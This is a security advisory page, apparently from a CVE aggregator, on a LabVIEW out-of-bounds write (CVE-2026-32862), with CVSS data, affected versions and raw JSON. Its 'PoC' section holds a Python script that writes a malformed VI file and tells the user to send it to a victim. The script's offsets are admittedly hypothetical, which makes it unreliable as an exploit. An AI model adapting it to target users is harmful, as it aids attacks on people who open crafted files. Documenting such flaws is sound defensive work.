Security Vulnerability Report
中文
CVE-2026-32862 CVSS 7.8 HIGH

CVE-2026-32862

Published: 2026-04-07 20:16:25
Last Modified: 2026-04-13 14:54:09

Description

There is a memory corruption vulnerability due to an out-of-bounds write in ResFileFactory::InitResourceMgr() in NI LabVIEW.  This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted VI file. This vulnerability affects NI LabVIEW 2026 Q1 (26.1.0) and prior versions.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ni:labview:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2023:q1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2023:q3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2023:q3_patch1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ni:labview:2023:q3_patch2:*:*:*:*:*:* - VULNERABLE
NI LabVIEW 2026 Q1 (26.1.0) 及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Conceptual PoC for CVE-2026-32862 # This script generates a malformed VI file to trigger the OOB write. def create_malformed_vi(filename): # VI Header stub (simplified for demonstration) # Standard headers usually begin with specific magic bytes/versions header = b"RSRC" # Example resource marker # Malicious payload targeting InitResourceMgr() # Triggering an out-of-bounds write by specifying a size larger than the allocated buffer # Field: Resource Size (Hypothetical offset) # Normal size: 0x100 (256 bytes) # Malicious size: 0xFFFFFFFF (Max uint32, causing overflow/OOB) malicious_size = struct.pack("<I", 0xFFFFFFFF) # Padding to reach the vulnerable offset in the structure # Adjust offset based on reverse engineering of the specific version padding = b"\x00" * 0x50 # Construct the file with open(filename, "wb") as f: f.write(header) f.write(padding) f.write(malicious_size) # Additional file structure would follow here print(f"[+] Malformed VI file created: {filename}") print("[*] Send this file to a victim and have them open it in LabVIEW.") if __name__ == "__main__": create_malformed_vi("exploit_CVE_2026_32862.vi")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32862", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:24.883", "lastModified": "2026-04-13T14:54:08.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is a memory corruption vulnerability due to an out-of-bounds write in ResFileFactory::InitResourceMgr() in NI LabVIEW.  This vulnerability may result in information disclosure or arbitrary code execution. Successful exploitation requires an attacker to get a user to open a specially crafted VI file. This vulnerability affects NI LabVIEW 2026 Q1 (26.1.0) and prior versions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:*:*:*:*:*:*:*:*", "versionEndIncluding": "2022", "matchCriteriaId": "2E2E0B40-5E0A-47F8-8A1A-FEF10C1CA4EF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q1:*:*:*:*:*:*", "matchCriteriaId": "D7DD2022-CFB7-4F38-B459-C1AFB55B5B68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3:*:*:*:*:*:*", "matchCriteriaId": "18AB0B07-72FE-4861-B69D-AD2E87C5382E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch1:*:*:*:*:*:*", "matchCriteriaId": "91928C9C-F094-4EE4-9FBE-2B7956D68E6F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch2:*:*:*:*:*:*", "matchCriteriaId": "044C4B51-C641-41F2-ACA0-834C99D63285"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch3:*:*:*:*:*:*", "matchCriteriaId": "26EEE5E3-AD37-4832-A66C-5F8F7A478F30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch4:*:*:*:*:*:*", "matchCriteriaId": "5DC20B17-C582-42C4-9780-5DC61B4AED91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch5:*:*:*:*:*:*", "matchCriteriaId": "329575A0-F12E-478B-9A83-F747D6A161AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch6:*:*:*:*:*:*", "matchCriteriaId": "F25A1816-08CA-4467-8025-AD57562D7C35"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch7:*:*:*:*:*:*", "matchCriteriaId": "B282A345-3513-42FE-86C7-B38EA401CE7C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2023:q3_patch8:*:*:*:*:*:*", "matchCriteriaId": "90B91B54-D198-4810-8696-33C66EFBCC14"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2024:-:*:*:*:*:*:*", "matchCriteriaId": "2619FCBC-4CE0-46D6-8536-CC68374CCFA4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2024:q1:*:*:*:*:*:*", "matchCriteriaId": "7753CCDF-BAF8-4F91-B85B-EBB2B88F6F30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2024:q1_patch1:*:*:*:*:*:*", "matchCriteriaId": "953E8FD0-4420-4592-B696-C377D4EE0CA2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ni:labview:2024:q3:*:*:*:*:*:*", "matchCriteriaId": "5D99DCCD-511E-482E-8307-24382D1B621B" ... (truncated)